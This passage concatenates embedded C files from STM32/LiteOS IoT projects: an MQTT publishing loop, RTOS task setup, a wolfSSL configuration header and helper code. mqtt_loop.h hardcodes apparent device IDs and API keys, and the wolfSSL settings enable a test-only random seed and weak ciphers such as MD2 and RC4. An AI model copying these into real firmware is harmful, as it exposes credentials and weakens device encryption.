failed!"); rc = -1; goto do_exit; } /* Initialize MQTT parameter */ memset(&mqtt_params, 0x0, sizeof(mqtt_params)); mqtt_params.port = pconn_info->port; mqtt_params.host = pconn_info->host_name; mqtt_params.client_id = pconn_info->client_id; mqtt_params.username = pconn_info->username; mqtt_params.password = pconn_info->password; mqtt_params.pub_key = NULL; mqtt_params.request_timeout_ms = 2000; mqtt_params.clean_session = 0; mqtt_params.keepalive_interval_ms = 60000; mqtt_params.pread_buf = msg_readbuf; mqtt_params.read_buf_size = MQTT_MSGLEN; mqtt_params.pwrite_buf = msg_buf; mqtt_params.write_buf_size = MQTT_MSGLEN; mqtt_params.handle_event.h_fp = event_handle; mqtt_params.handle_event.pcontext = NULL; /* Construct a MQTT client with specify parameter */ out = 0; do{ pclient = IOT_MQTT_Construct(&mqtt_params); HAL_SleepMs(2000); }while((NULL==pclient)&&(++out<3)); if (out >= 3) { EXAMPLE_TRACE("MQTT construct failed"); rc = -1; goto do_exit; } /* Subscribe the specific topic */ out = 0; do{ rc = IOT_MQTT_Subscribe(pclient, ALINK_TOPIC_PROP_POSTRSP, IOTX_MQTT_QOS1, _demo_message_arrive, NULL); if(rc < 0) IOT_MQTT_Destroy(&pclient); }while((rc < 0)&&(++out<3)); if (rc < 0) { EXAMPLE_TRACE("IOT_MQTT_Subscribe() ACK failed, rc = %d", rc); rc = -1; goto do_exit; } HAL_SleepMs(1000); out = 0; do{ rc = IOT_MQTT_Subscribe(pclient, ALINK_TOPIC_PROP_SET, IOTX_MQTT_QOS1, _demo_message_arrive, NULL); if(rc < 0) IOT_MQTT_Destroy(&pclient); }while((rc < 0)&&(++out<3)); if (rc < 0) { EXAMPLE_TRACE("IOT_MQTT_Subscribe() UP failed, rc = %d", rc); rc = -1; goto do_exit; } HAL_SleepMs(1000); while(1) { /* Initialize topic information */ memset(&topic_msg, 0x0, sizeof(iotx_mqtt_topic_info_t)); topic_msg.qos = IOTX_MQTT_QOS1; topic_msg.retain = 0; topic_msg.dup = 0; { //{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"} static int serial; sprintf(msg_pub, ALINK_BODY_FORMAT,ALINK_METHOD_PROP_POST, ++serial,UserSwitch); } topic_msg.payload = (void *)msg_pub; topic_msg.payload_len = strlen(msg_pub); rc = IOT_MQTT_Publish(pclient, ALINK_TOPIC_PROP_POST, &topic_msg); EXAMPLE_TRACE("rc = IOT_MQTT_Publish() = %d", rc); /* handle the MQTT packet received from TCP or SSL connection */ IOT_MQTT_Yield(pclient, 200); IOT_MQTT_Unsubscribe(pclient, ALINK_TOPIC_PROP_POSTRSP); HAL_SleepMs(2000); } do_exit: if (NULL != msg_buf) { HAL_Free(msg_buf); } if (NULL != msg_readbuf) { HAL_Free(msg_readbuf); } return rc; } VOID task_start() { TSK_INIT_PARAM_S task_init_param; //ๅˆ›ๅปบDHCPไปปๅŠก printf("Creat Task DHCP...\r\n"); task_init_param.usTaskPrio = 0; task_init_param.pcName = "DHCP"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task; task_init_param.uwStackSize = 0x400; LOS_TaskCreate(&g_TskHandle, &task_init_param); //ๅˆ›ๅปบmqttไปปๅŠก printf("Creat Task mqtt_client...\r\n"); task_init_param.usTaskPrio = 0; task_init_param.pcName = "mqtt_client"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client; task_init_param.uwStackSize = 0x4000; LOS_TaskCreate(&g_TskHandle, &task_init_param); //ๅˆ ้™คไปปๅŠก LOS_TaskDelete(g_TskStart); } UINT32 creat_start() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 30; task_init_param.pcName = "start"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task_start; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskStart, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } int main(void) { LOS_KernelInit();//ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init();//็กฌไปถๅˆๅง‹ๅŒ– printf("LwIP_Init...\r\n"); LwIP_Init(); //ๅˆๅง‹ๅŒ–ๅ่ฎฎๆ ˆ creat_start();//ๅˆ›ๅปบๅผ€ๅง‹ไปปๅŠก LOS_Start();//ๅฏๅŠจLiteOS,Run!Run!Run! } ``` delay.h ```#ifndef __DELAY_H #define __DELAY_H #include "stm32f4xx.h" #include "stm32f4xx_conf.h" /* *ๅŠŸ่ƒฝ๏ผšSTM32F407VET6ไปฅๅคช็ฝ‘ๆ ธๅฟƒๆฟๆต‹่ฏ•ไปฃ็ ๏ผŒ่‡ชๅŠจ่Žทๅ–IP๏ผŒๅนถๅปบ็ซ‹ๆœๅŠกๅ™จ๏ผŒๅฏ้€š่ฟ‡ไธฒๅฃ1ๆ‰“ๅฐๅฝ“ๅ‰ๆ•ฐๆฎไฟกๆฏ *ๆœบๆž„๏ผšๅŠฉๅผ€ๅ‘็ฝ‘(www.zkaifa.com) *่ฎบๅ›๏ผšwww.zkaifa.com/bbs *ไฝœ่€…๏ผšliubinkaixin *ๆ—ถ้—ด๏ผš2015-05-30 *ๅฃฐๆ˜Ž๏ผšๅฝ“ๅ‰็‰ˆๆœฌไป…ๆไพ›ๆ ธๅฟƒๆฟๆต‹่ฏ•๏ผŒไป…ๆไพ›็ ”็ฉถๅญฆไน ไฝฟ็”จ๏ผŒ่‹ฅไฝœไธบๅ•†ไธš็”จ้€”ๅ‡บ็Žฐไปปไฝ•้”™่ฏฏ๏ผŒๆไพ›ๆ–นไธๆ‰ฟๆ‹…ไปปไฝ•่ดฃไปป */ void delay_init(void); void delay_ms(u16 nms); void delay_us(u32 nus); #endif ``` mqtt_loop.h ```#include "mqtt.h" #include <string.h> #include "utils.h" #include "stm32f4xx.h" #ifdef WIN32 #error Not support Windows now. #endif // WIN32 #include <string.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <time.h> #define DS_TO_PUBLISH "mqtt_msg" #define DS_TO_PUBLISH_T "mqtt_msg_t" #define DS_TO_PUBLISH_RH "mqtt_msg_rh" /*#define TOPIC_TO_SUB "39484/nCVNXYCoX68IHG4DgpyNu5aTXfY=/769243/da_test_a" #define PACK_FALG_UNSUB 11 #define TOPIC_TO_UNSUB "39484/nCVNXYCoX68IHG4DgpyNu5aTXfY=/769243/da_test_a" #define TIME_OUT 1 #define EVENT 2 #define MQTT_DEVICE_PROJ_ID "39484" #define MQTT_DEVICE_ID "769832" #define MQTT_DEVICE_API_KEY "nCVNXYCoX68IHG4DgpyNu5aTXfY="*/ #define TOPIC_TO_SUB "132589/XbQA0YLjjdzsD=MzbTl4niQ2w30=/29702274/da_test_a" #define PACK_FALG_UNSUB 11 #define TOPIC_TO_UNSUB "132589/XbQA0YLjjdzsD=MzbTl4niQ2w30=/29702274/da_test_a" #define TIME_OUT 1 #define EVENT 2 #define MQTT_DEVICE_PROJ_ID "132589" #define MQTT_DEVICE_ID "29702274" #define MQTT_DEVICE_API_KEY "XbQA0YLjjdzsD=MzbTl4niQ2w30=" void MQTT_Loop(void); ``` stm32f4xx_empl_drv.c ```#include "stm32f4xx_empl_drv.h" #include "mpu6050.h" #include "cmsis_os.h" #include "i2c.h" #include <string.h> static unsigned char stm32f4xx_empl_i2c_wb[MAX_WRITE_SIZE]; int stm32f4xx_i2c_write (unsigned char slave_addr, unsigned char reg_addr, unsigned char length, unsigned char const *data) { Sensors_I2C_WriteRegister(slave_addr, reg_addr, length, data); /* if (length + 1 > MAX_WRITE_SIZE) return -1; stm32f4xx_empl_i2c_wb[0] = reg_addr; memcpy (stm32f4xx_empl_i2c_wb + 1, data, length); while (__HAL_I2C_GET_FLAG(&hi2c1, I2C_FLAG_BUSY) == SET) ; HAL_I2C_Master_Transmit (&hi2c1, slave_addr << 1, stm32f4xx_empl_i2c_wb, length + 1, 1000); */ return 0; } int stm32f4xx_i2c_read (unsigned char slave_addr, unsigned char reg_addr, unsigned char length, unsigned char *data) { Sensors_I2C_ReadRegister(slave_addr, reg_addr, length, data); /* while (__HAL_I2C_GET_FLAG(&hi2c1, I2C_FLAG_BUSY) == SET) ; HAL_I2C_Master_Transmit (&hi2c1, slave_addr << 1, &reg_addr, 1, 1000); HAL_I2C_Master_Receive (&hi2c1, slave_addr << 1, data, length, 1000); */ return 0; } void stm32f4xx_delay_ms (unsigned long num_ms) { //HAL_Delay(num_ms); osDelay(num_ms); } void stm32f4xx_get_ms (unsigned long *count) { //(*count) = HAL_GetTick(); } void stm32f4xx_log_i (char const *s, ...) { return; } void stm32f4xx_log_e (char const *s, ...) { return; } ``` user_settings.h ```/* user_settings.h * * Copyright (C) 2006-2017 wolfSSL Inc. * * This file is part of wolfSSL. * * wolfSSL is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * wolfSSL is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA */ #define NO_MAIN_DRIVER #define BENCH_EMBEDDED #define NO_DEV_RANDOM #define WOLFSSL_USER_CURRTIME #define SIZEOF_LONG_LONG 8 #define NO_WRITEV #define NO_DEV_RANDOM #define TFM_TIMING_RESISTANT #define ECC_TIMING_RESISTANT #define WC_RSA_BLINDING #define WOLFSSL_USER_CURRTIME /* for benchmark */ #define WOLFSSL_CURRTIME_OSTICK /* use OS tich for current_time */ #define WOLFSSL_GMTIME #define USER_TIME #define NO_INLINE #define WOLFSSL_LWIP #define WOLFSSL_DTLS #define HAVE_SOCKADDR #define NO_WOLFSSL_SERVER // <<< Use Configuration Wizard in Context Menu >>> // <h>Common options // <o> MPU<0=>Undefined<1=>STM32F2xx<2=>STM32F4xx<3=>STM32F7xx #define MDK_CONF_MPU 0 #if MDK_CONF_MPU == 0 #elif MDK_CONF_MPU == 1 //#define WOLFSSL_STM32_CUBEMX #define STM32F2xx #elif MDK_CONF_MPU == 2 //#define WOLFSSL_STM32_CUBEMX #define STM32F4xx #elif MDK_CONF_MPU == 3 //#define WOLFSSL_STM32_CUBEMX #define STM32F7xx #endif // <o> Thread/RTOS<0=>Single Threaded <1=>FreeRTOS <2=>SafeRTOS<3=>Windows // <4=>PThread <5=>ThreadX<6=> ThreadX/NetX // <7=>Micrium <8=>EBSnet<9=>MQX // <10=>T-RTOS <11=>uITRON4<12=>uTKERNEL2 // <13=>Frosted <14=>CMSIS RTOS<15=>Others #define MDK_CONF_THREAD 16 #if MDK_CONF_THREAD== 0 #define SINGLE_THREADED #elif MDK_CONF_THREAD == 1 #define FREERTOS #elif MDK_CONF_THREAD == 3 #define WOLFSSL_SAFERTOS #elif MDK_CONF_THREAD == 4 #define USE_WINDOWS_API #elif MDK_CONF_THREAD == 5 #define WOLFSSL_PTHREADS #elif MDK_CONF_THREAD == 6 #define THREADX #define NETX #elif MDK_CONF_THREAD == 7 #define MICRIUM #elif MDK_CONF_THREAD == 8 #define EBSNET #elif MDK_CONF_THREAD == 9 #define FREESCALE_MQX #define FREESCALE_KSDK_MQX #elif MDK_CONF_THREAD == 10 #define WOLFSSL_TIRTOS #elif MDK_CONF_THREAD == 11 #define WOLFSSL_uITRON4 #elif MDK_CONF_THREAD == 12 #define WOLFSSL_uTKERNEL2 #elif MDK_CONF_THREAD == 13 #define WOLFSSL_FROSTED #elif MDK_CONF_THREAD == 14 #define WOLFSSL_CMSIS_RTOS #elif MDK_CONF_THREAD == 15 #define SINGLE_THREADED #elif MDK_CONF_THREAD == 16 #define WOLFSSL_LITEOS #endif // <e>File System #define MDK_CONF_FILESYSTEM 1 #if MDK_CONF_FILESYSTEM == 0 #define NO_FILESYSTEM #else #define WOLFSSL_KEIL_FS #define NO_WOLFSSL_DIR #endif // </e> // <o> Network<0=>None <1=>RLnet <2=>User I/O #define MDK_CONF_NETWORK 0 #if MDK_CONF_NETWORK == 0 #elif MDK_CONF_NETWORK == 1 #define WOLFSSL_KEIL_TCP_NET #elif MDK_CONF_NETWORK == 2 #define WOLFSSL_USER_IO #endif // <h>Debug options // <e>Debug Message #define MDK_CONF_DebugMessage 0 #if MDK_CONF_DebugMessage == 1 #define DEBUG_WOLFSSL #endif // </e> // <e>Check malloc #define MDK_CONF_CheckMalloc 1 #if MDK_CONF_CheckMalloc == 1 #define WOLFSSL_MALLOC_CHECK #define USE_WOLFSSL_MEMORY #endif // </e> // <e>ErrNo.h #define MDK_CONF_ErrNo 1 #if MDK_CONF_ErrNo == 1 #define HAVE_ERRNO #endif // </e> // <e>Error Strings #define MDK_CONF_ErrorStrings 1 #if MDK_CONF_ErrorStrings == 0 #define NO_ERROR_STRINGS #endif // </e> //</h> //</h> // <h> wolfCrypt Configuration // <h>Hash/Crypt Algrithm // <e>MD2 #define MDK_CONF_MD2 1 #if MDK_CONF_MD2 == 1 #define WOLFSSL_MD2 #endif // </e> // <e>MD4 #define MDK_CONF_MD4 1 #if MDK_CONF_MD4 == 0 #define NO_MD4 #endif // </e> // <e>MD5 #define MDK_CONF_MD5 1 #if MDK_CONF_MD5 == 0 #define NO_MD5 #endif // </e> // <e>SHA #define MDK_CONF_SHA 1 #if MDK_CONF_SHA == 0 #define NO_SHA #endif // </e> // <e>SHA-256 #define MDK_CONF_SHA256 1 #if MDK_CONF_SHA256 == 0 #define NO_SHA256 #endif // </e> // <e>SHA-384 #define MDK_CONF_SHA384 1 #if MDK_CONF_SHA384 == 1 #define WOLFSSL_SHA384 #endif // </e> // <e>SHA-512 #define MDK_CONF_SHA512 1 #if MDK_CONF_SHA512 == 1 #define WOLFSSL_SHA512 #endif // </e> // <e>Hash DRBG #define MDK_CONF_HASHDRBG 1 #if MDK_CONF_HASHDRBG == 1 #define HAVE_HASHDRBG #endif // </e> // <e>RIPEMD #define MDK_CONF_RIPEMD 1 #if MDK_CONF_RIPEMD == 1 #define WOLFSSL_RIPEMD #endif // </e> // <e>BLAKE2 #define MDK_CONF_BLAKE2 0 #if MDK_CONF_BLAKE2 == 1 #define HAVE_BLAKE2 #endif // </e> // <e>HMAC #define MDK_CONF_HMAC 1 #if MDK_CONF_HMAC == 0 #define NO_HMAC #endif // </e> // <e>HMAC KDF #define MDK_CONF_HKDF 1 #if MDK_CONF_HKDF == 1 #define HAVE_HKDF #endif // </e> // <e>AES CCM #define MDK_CONF_AESCCM 1 #if MDK_CONF_AESCCM == 1 #define HAVE_AESCCM #endif // </e> // <e>AES GCM #define MDK_CONF_AESGCM 1 #if MDK_CONF_AESGCM == 1 #define HAVE_AESGCM #endif // </e> // <e>RC4 #define MDK_CONF_RC4 1 #if MDK_CONF_RC4 == 0 #define NO_RC4 #endif // </e> // <e>HC128 #define MDK_CONF_HC128 1 #if MDK_CONF_AESGCM == 0 #define NO_HC128 #endif // </e> // <e>RABBIT #define MDK_CONF_RABBIT 1 #if MDK_CONF_RABBIT == 0 #define NO_RABBIT #endif // </e> // <e>CHACHA #define MDK_CONF_CHACHA 1 #if MDK_CONF_CHACHA == 1 #define HAVE_CHACHA #endif // </e> // <e>POLY1305 #define MDK_CONF_POLY1305 1 #if MDK_CONF_POLY1305 == 1 #define HAVE_POLY1305 #define HAVE_ONE_TIME_AUTH #endif // </e> // <e>DES3 #define MDK_CONF_DES3 1 #if MDK_CONF_DES3 == 0 #define NO_DES3 #endif // </e> // <e>AES #define MDK_CONF_AES 1 #if MDK_CONF_AES == 0 #define NO_AES #endif // </e> // <e>CAMELLIA #define MDK_CONF_CAMELLIA 1 #if MDK_CONF_CAMELLIA == 1 #define HAVE_CAMELLIA #endif // </e> // <e>DH #define MDK_CONF_DH 1 #if MDK_CONF_DH == 0 #define NO_DH #endif // </e> // <e>DSA #define MDK_CONF_DSA 1 #if MDK_CONF_DSA == 0 #define NO_DSA #endif // </e> // <e>SRP #define MDK_CONF_SRP 1 #if MDK_CONF_SRP == 1 #define HAVE_SRP #endif // </e> // <e>PWDBASED #define MDK_CONF_PWDBASED 1 #if MDK_CONF_PWDBASED == 0 #define NO_PWDBASED #endif // </e> // <e>ECC #define MDK_CONF_ECC 1 #if MDK_CONF_ECC == 1 #define HAVE_ECC #endif // </e> // <e>CURVE25519 #define MDK_CONF_CURVE25519 1 #if MDK_CONF_CURVE25519 == 1 #define HAVE_CURVE25519 #define CURVED25519_SMALL #endif // </e> // <e>CURVE25519 SMALL #define MDK_CONF_CURVE25519_SMALL 0 #if MDK_CONF_CURVE25519_SMALL == 1 #define CURVED25519_SMALL #endif // </e> // <e>ED25519 #define MDK_CONF_ED25519 1 #if MDK_CONF_ED25519 == 1 #define HAVE_ED25519 #endif // </e> // <e>ED25519 SMALL #define MDK_CONF_ED25519_SMALL 0 #if MDK_CONF_ED25519_SMALL == 1 #define ED25519_SMALL #endif // </e> // <e>PKCS7 #define MDK_CONF_PKCS7 0 #if MDK_CONF_PKCS7 == 1 #define HAVE_PKCS7 #endif // </e> // <e>NTRU (need License, "crypto_ntru.h") #define MDK_CONF_NTRU 0 #if MDK_CONF_NTRU == 1 #define HAVE_NTRU #endif // </e> // </h> // <e>Random Seed, for TEST Only #define MDK_CONF_RNDSEED 1 #if MDK_CONF_RNDSEED == 1 #define WOLFSSL_GENSEED_FORTEST #endif // </e> // <h>Hardware Crypt (See document for usage) // <e>Hardware RNG #define MDK_CONF_STM32F2_RNG 1 #if MDK_CONF_STM32F2_RNG == 1 #define WOLFSSL_STM32_CUBEMX #define STM32_RNG #define WC_ASYNC_DEV_SIZE 320+24 #define STM32_HAL_TIMEOUT 0xFF #if defined(STM32F2xx) #define WOLFSSL_STM32F2 #elif defined(STM32F4xx) #define WOLFSSL_STM32F4 #elif defined(STM32F7xx) #define WOLFSSL_STM32F7 #endif #endif // </e> // <e>Hardware Crypt #define MDK_CONF_STM32F2_CRYPTO 0 #if MDK_CONF_STM32F2_CRYPTO == 1 //#define WOLFSSL_STM32_CUBEMX #define STM32_CRYPTO #define WC_ASYNC_DEV_SIZE 320+24 #define STM32_HAL_TIMEOUT 0xFF #if defined(STM32F2xx) #define WOLFSSL_STM32F2 #elif defined(STM32F4xx) #define WOLFSSL_STM32F4 #elif defined(STM32F7xx) #define WOLFSSL_STM32F7 #endif #endif // </e> // <e>Hardware Hash #define MDK_CONF_STM32F2_HASH 0 #if MDK_CONF_STM32F2_HASH == 1 //#define WOLFSSL_STM32_CUBEMX #define STM32_HASH #define WC_ASYNC_DEV_SIZE 320+24 #define STM32_HAL_TIMEOUT 0xFF #if defined(STM32F2xx) #define WOLFSSL_STM32F2 #elif defined(STM32F4xx) #define WOLFSSL_STM32F4 #elif defined(STM32F7xx) #define WOLFSSL_STM32F7 #endif #endif // </e> // </h> // <h>Cert/Key Strage // <o>Cert Storage <0=> SD Card <1=> Mem Buff (1024bytes) <2=> Mem Buff (2048bytes) #define MDK_CONF_CERT_BUFF 0 #if MDK_CONF_CERT_BUFF== 1 #define USE_CERT_BUFFERS_1024 #elif MDK_CONF_CERT_BUFF == 2 #define USE_CERT_BUFFERS_2048 #endif //</h> // <h>Cert/Key Generation // <e>CertGen #define MDK_CONF_CERT_GEN 0 #if MDK_CONF_CERT_GEN == 1 #define WOLFSSL_CERT_GEN #endif // </e> // <e>KeyGen #define MDK_CONF_KEY_GEN 0 #if MDK_CONF_KEY_GEN == 1 #define WOLFSSL_KEY_GEN #endif // </e> // </h> // <e>Use Fast Math #define MDK_CONF_FASTMATH 1 #if MDK_CONF_FASTMATH == 1 #define USE_FAST_MATH #define TFM_TIMING_RESISTANT #endif // </e> // <e>Small Stack #define MDK_CONF_SmallStack 0 #if MDK_CONF_SmallStack == 0 #define NO_WOLFSSL_SMALL_STACK #endif // </e> // </h> /**** wolfSSL Configuration ****/ // <h> wolfSSL Configuration // <e>TLS 1.3 #define MDK_CONF_TLS 0 #if MDK_CONF_TLS == 1 #define WOLFSSL_TLS13WOLFSSL_TLS13 #define HAVE_TLS_EXTENSIONS #define WC_RSA_PSS #define HAVE_HKDF #define HAVE_FFDHE_2048 #endif // </e> // <e>Include Old TLS #define MDK_CONF_NO_OLDTLS 0 #if MDK_CONF_NO_OLDTLS == 0 #define NO_OLD_TLS #endif // </e> // <e>CRL #define MDK_CONF_CRL 0 #if MDK_CONF_CRL == 1 #define HAVE_CRL #define WOLFSSL_DER_LOAD #endif // </e> // <e>OCSP #define MDK_CONF_OCSP 0 #if MDK_CONF_OCSP == 1 #define HAVE_OCSP #endif // </e> // <e>OpenSSL Extra #define MDK_CONF_OPENSSL_EXTRA 0 #if MDK_CONF_OPENSSL_EXTRA == 1 #define OPENSSL_EXTRA #endif // </e> //</h> ``` iot_export.h ```/* * Copyright (c) 2014-2016 Alibaba Group. All rights reserved. * License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef __IOT_EXPORT_H__ #define __IOT_EXPORT_H__ #if defined(__cplusplus) extern "C" { #endif #include <stdbool.h> typedef enum _IOT_LogLevel { IOT_LOG_EMERG = 0, IOT_LOG_CRIT, IOT_LOG_ERROR, IOT_LOG_WARNING, IOT_LOG_INFO, IOT_LOG_DEBUG, } IOT_LogLevel; void IOT_OpenLog(const char *ident); void IOT_CloseLog(void); void IOT_SetLogLevel(IOT_LogLevel level); void IOT_DumpMemoryStats(IOT_LogLevel level); int IOT_SetupConnInfo(const char *product_key, const char *device_name, const char *device_secret, void **info_ptr); #include "iot_export_errno.h" #include "iot_export_mqtt.h" #include "iot_export_device.h" //#include "iot_export_shadow.h" //#include "iot_export_coap.h" //#include "iot_export_ota.h" //#define ESP_LOGI(tag,log) os_printf(log) //#define ESP_LOGE(tag,log) os_printf(log) //#ifndef ESP_LOGI(tag, format, ...) #define ESP_LOGI(tag, format, ...) printf(format, ##__VA_ARGS__) //#endif #define ESP_LOGE(tag, format, ...) printf(format, ##__VA_ARGS__) /* // ็ผ–่ฏ‘ ๅ’Œ ่ฐƒ่ฏ•ๆญฃ็กฎไน‹ๅŽ, ๅฏไปฅๅˆ ้™คไธ‹้ขๆณจ้‡Š็š„ไปฃ็  #define ESP_LOGI(tag,log, ...) \ do { \ printf("[LOGI] %s(%d): "log"\r\n", __FUNCTION__, __LINE__, ##__VA_ARGS__);\ ;\ }while(0); #define ESP_LOGE(tag,log, ...) \ do { \ printf("[LOGE] %s(%d): "log"\r\n", __FUNCTION__, __LINE__, ##__VA_ARGS__);\ ;\ }while(0); */ #if defined(__cplusplus) } #endif #endif /* __IOT_EXPORT_H__ */``` CommMath.c ```#define _COMMMATH_C_ #include "CommMath.h" /*ๆจกๅ—็ป“ๆž„ไฝ“ๅˆๅง‹ๅŒ–*/ void CommMath_struct_init(void) { } /*ๆจกๅ—ๅˆๅง‹ๅŒ–*/ void CommMath_init(void) { CommMath_struct_init(); } void MemCopy(BYTE *des,BYTE *src,int len) { int i; for(i = 0;i < len;i ++) { des[i] = src[i]; } } WORD CombineWord(BYTE *buf,int *index) { WORD wData = 0; wData |= (((WORD)buf[1]<<8) & 0xff00); wData |= (((WORD)buf[0]<<0) & 0x00ff); *index += 2; return wData; } DWORD CombineDword(BYTE *buf,int *index) { DWORD dwData = 0; dwData |= (((DWORD)buf[3]<<24) & 0xff000000); dwData |= (((DWORD)buf[2]<<16) & 0x00ff0000); dwData |= (((DWORD)buf[1]<<8) & 0x0000ff00); dwData |= (((DWORD)buf[0]<<0) & 0x000000ff); *index += 4; return dwData; } void LoadWord(WORD wData,BYTE *buf,int *index) { buf[0] = (BYTE)(wData & 0xff); buf[1] = (BYTE)(wData>>8) & 0xFF; *index += 2; } void LoadDword(DWORD dwData,BYTE *buf,int *index) { buf[0] = (BYTE)(dwData>>0) & 0xff; buf[1] = (BYTE)(dwData>>8) & 0xff; buf[2] = (BYTE)(dwData>>16) & 0xff; buf[3] = (BYTE)(dwData>>24) & 0xff; *index += 4; } ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "lwip/tcp.h" #include "netconf.h" #include "tcp_echoclient.h" #include "stm32f429_phy.h" #include "intelligent_fire_baiducloud.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; __IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */ /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ void TIM3_IRQHandler(void); void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); TIM3_Config(999,899);//10ms PRINTF_DBG("Sysclock is %d\r\n",SystemCoreClock); } static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; TIM_TimeBaseInitStructure.TIM_Period=period; TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); TIM_Cmd(TIM3,ENABLE); NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) { LocalTime+=10; } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); } int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit();//ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init();//็กฌไปถๅˆๅง‹ๅŒ– uwRet = creat_lwip_poll_task(); if(uwRet != LOS_OK) { return uwRet; } uwRet = creat_key_task(); if(uwRet != LOS_OK) { return uwRet; } LOS_Start();//ๅฏๅŠจLiteOS } ``` data_collect.h ```#ifndef _DATA_COLLECT_H_ #define _DATA_COLLECT_H_ #include "stm32f4xx.h" #define MAX_BUF_SIZE 2048 extern u8 CollectDataBuf[MAX_BUF_SIZE]; extern u8 CollectDataLen; extern u8 CollectDataSendFlag; u8 getTempHttpData(void); u8 getLightData(void); #endif ``` sys_arch.c ```/* * Copyright (c) 2001-2003 Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * * This file is part of the lwIP TCP/IP stack. * * Author: xiaxiaowen https://github.com/xiaowenxia * */ #include <stdlib.h> #include <stdio.h> #include <lwip/opt.h> #include <lwip/arch.h> #include <lwip/stats.h> #include <lwip/debug.h> #include <lwip/sys.h> #include <arch/sys_arch.h> /* These functions are used for LiteOS only */ /*---------------------------------------------------------------------------* * Routine: sys_init *---------------------------------------------------------------------------* * Description: * doing lwip sys init,for LiteOS,nothing need to init * Inputs: * Outputs: *---------------------------------------------------------------------------*/ void sys_init(void) { /* do nothing */ } /*---------------------------------------------------------------------------* * Routine: sys_now 